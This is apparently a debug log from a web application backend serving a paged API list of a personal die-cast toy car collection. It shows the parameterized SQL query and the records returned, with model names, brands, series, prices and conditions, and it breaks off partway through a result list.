2026-02-04T11:09:31.883Z server-connect:app Executing action step paged
2026-02-04T11:09:31.883Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T11:09:31.885Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 84,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 75 },
    current: 1,
    total: 4
  },
  data: [
    {
      id: 149,
      model_name: "Fish'd & Chip'd",
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Spider Man',
      vehicle_brand_id: 183,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 148,
      model_name: '92 Jeep Wrangler Sahara',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-22T18:30:00.000Z',
      price: '545.00',
      brand: 'Hotwheels',
      series: 'HW Pop Culture',
      brand_id: 71,
      series_id: 181,
      case: '',
      vehicle_brand_name: 'Jeep',
      vehicle_brand_id: 122,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 147,
      model_name: 'Nissan Fairlady Z',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Pantone',
      brand_id: 71,
      series_id: 180,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 146,
      model_name: 'Lucid Air',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW EV',
      brand_id: 71,
      series_id: 107,
      case: 'D',
      vehicle_brand_name: 'Lucid',
      vehicle_brand_id: 184,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 145,
      model_name: 'Lotus Cortina',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Euro',
      brand_id: 71,
      series_id: 179,
      case: 'D',
      vehicle_brand_name: 'Lotus',
      vehicle_brand_id: 185,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 144,
      model_name: 'Datsun 240Z',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Then and now',
      brand_id: 71,
      series_id: 101,
      case: 'C',
      vehicle_brand_name: 'Datsun',
      vehicle_brand_id: 186,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 143,
      model_name: 'Pixel Shaker',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Ride-Ons',
      brand_id: 71,
      series_id: 178,
      case: 'M',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 142,
      model_name: 'Nissan 350Z Custom',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 141,
      model_name: 'Nissan Silvia (S15)',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 140,
      model_name: '1970 Monte Carlo',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 139,
      model_name: '1970 Road Runner',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Plymouth',
      vehicle_brand_id: 190,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 138,
      model_name: 'Nissan Silvia (S13)',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 137,
      model_name: '68 Dodge Dart - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Compact Kings',
      brand_id: 71,
      series_id: 149,
      case: 'F',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 136,
      model_name: '21 Ford Bronco - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Hot Trucks',
      brand_id: 71,
      series_id: 97,
      case: 'E',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 135,
      model_name: '23 RAM 1500 - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Reverse Rake',
      brand_id: 71,
      series_id: 150,
      case: 'E',
      vehicle_brand_name: 'RAM',
      vehicle_brand_id: 189,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 134,
      model_name: '58 Chevy Impala - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-25T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Rod Squad',
      brand_id: 71,
      series_id: 151,
      case: 'E',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 107,
      model_name: 'Solar Reflex',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW EV',
      brand_id: 71,
      series_id: 107,
      case: 'A',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 106,
      model_name: '2018 Honda Civic Type R',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Nightspeed',
      brand_id: 71,
      series_id: 164,
      case: 'A',
      vehicle_brand_name: 'Honda',
      vehicle_brand_id: 112,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 105,
      model_name: 'Maserati Shamal',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Factory Fresh',
      brand_id: 71,
      series_id: 145,
      case: 'A',
      vehicle_brand_name: 'Masserti',
      vehicle_brand_id: 157,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 104,
      model_name: 'Track Ripper',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Starting Grid',
      brand_id: 71,
      series_id: 163,
      case: 'A',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 103,
      model_name: "Kowloon'd Hypervan",
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Metro',
      brand_id: 71,
      series_id: 165,
      case: 'J',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 102,
      model_name: 'Alfa Romeo Giulia TI Super',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Compact Kings',
      brand_id: 71,
      series_id: 149,
      case: 'Q',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 101,
      model_name: 'Ford Mustang-E 1400',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW EV',
      brand_id: 71,
      series_id: 107,
      case: 'A',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 100,
      model_name: 'Decidedly Go',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Experimotors',
      brand_id: 71,
      series_id: 166,
      case: 'Q',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 99,
      model_name: 'Polestar TRX',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-05T18:30:00.000Z',
      price: '166.00',
      brand: 'Hotwheels',
      series: 'HW Peak Pursuit',
      brand_id: 71,
      series_id: 106,
      case: 'Q',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T11:09:52.364Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T11:09:52.364Z server-connect:app Executing action step identify
2026-02-04T11:09:52.365Z server-connect:app options: { provider: 'security' }
2026-02-04T11:09:52.365Z server-connect:output identity: 1
2026-02-04T11:09:52.365Z server-connect:app Executing action step restrict
2026-02-04T11:09:52.365Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:09:52.365Z server-connect:output restrict: undefined
2026-02-04T11:09:52.365Z server-connect:app Executing action step paged
2026-02-04T11:09:52.365Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T11:09:52.367Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 1,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 150,
      model_name: 'Dodge Charge',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-15T18:30:00.000Z',
      price: '199.00',
      brand: 'Jams Toys',
      series: 'Mainline',
      brand_id: 191,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T11:09:53.894Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T11:09:53.895Z server-connect:app Executing action step identify
2026-02-04T11:09:53.895Z server-connect:app options: { provider: 'security' }
2026-02-04T11:09:53.895Z server-connect:output identity: 1
2026-02-04T11:09:53.895Z server-connect:app Executing action step restrict
2026-02-04T11:09:53.895Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:09:53.895Z server-connect:output restrict: undefined
2026-02-04T11:09:53.895Z server-connect:app Executing action step paged
2026-02-04T11:09:53.895Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T11:09:53.897Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 3,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 133,
      model_name: 'Volkswagen T1',
      release_year: 2026,
      scale: '1:56',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 132,
      model_name: 'Volkwagen classic beetle 1967',
      release_year: 2025,
      scale: '1:54',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 131,
      model_name: 'Suzuki Jimny 2018',
      release_year: 2025,
      scale: '1:48',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Suzuki',
      vehicle_brand_id: 175,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T11:13:16.686Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T11:13:16.686Z server-connect:app Executing action step identify
2026-02-04T11:13:16.686Z server-connect:app options: { provider: 'security' }
2026-02-04T11:13:16.686Z server-connect:output identity: 1
2026-02-04T11:13:16.686Z server-connect:app Executing action step restrict
2026-02-04T11:13:16.686Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:13:16.688Z server-connect:output restrict: undefined
2026-02-04T11:13:16.688Z server-connect:app Executing action step paged
2026-02-04T11:13:16.688Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T11:13:16.694Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 157,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 150 },
    current: 1,
    total: 7
  },
  data: [
    {
      id: 180,
      model_name: 'Mercedes-Benz G 500',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 179,
      model_name: 'Mercedes-Benz 190 E 2.5-16 EVO II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 178,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 177,
      model_name: 'Ford Bronco Wildtrak',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 176,
      model_name: 'Ford Mustang Fastback',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 175,
      model_name: 'Mercedes-AMG CLE 53 ',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 174,
      model_name: 'Mercedes-AMG GLC 63 S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 173,
      model_name: 'Mercedes-AMG A 35',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 172,
      model_name: 'Mercedes-AMG SL 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 171,
      model_name: 'Mercedes-AMG GT 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 165,
      model_name: 'GMC Hummer EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 164,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 163,
      model_name: 'Toyota GR Supra',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 162,
      model_name: 'Lamborghini Sián FKP 37',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 161,
      model_name: 'Bugatti Chiron Pur Sport',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Bugatti',
      vehicle_brand_id: 129,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 160,
      model_name: '2023 Toyota RAV4 TRD',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 159,
      model_name: 'Ford Police Interceptor',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 158,
      model_name: 'GMC 3500 Utility Truck',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 157,
      model_name: '2015 Honda Ridgeline',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Honda',
      vehicle_brand_id: 112,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 156,
      model_name: '1980 Jeep JIO Stepside',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Jeep',
      vehicle_brand_id: 122,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
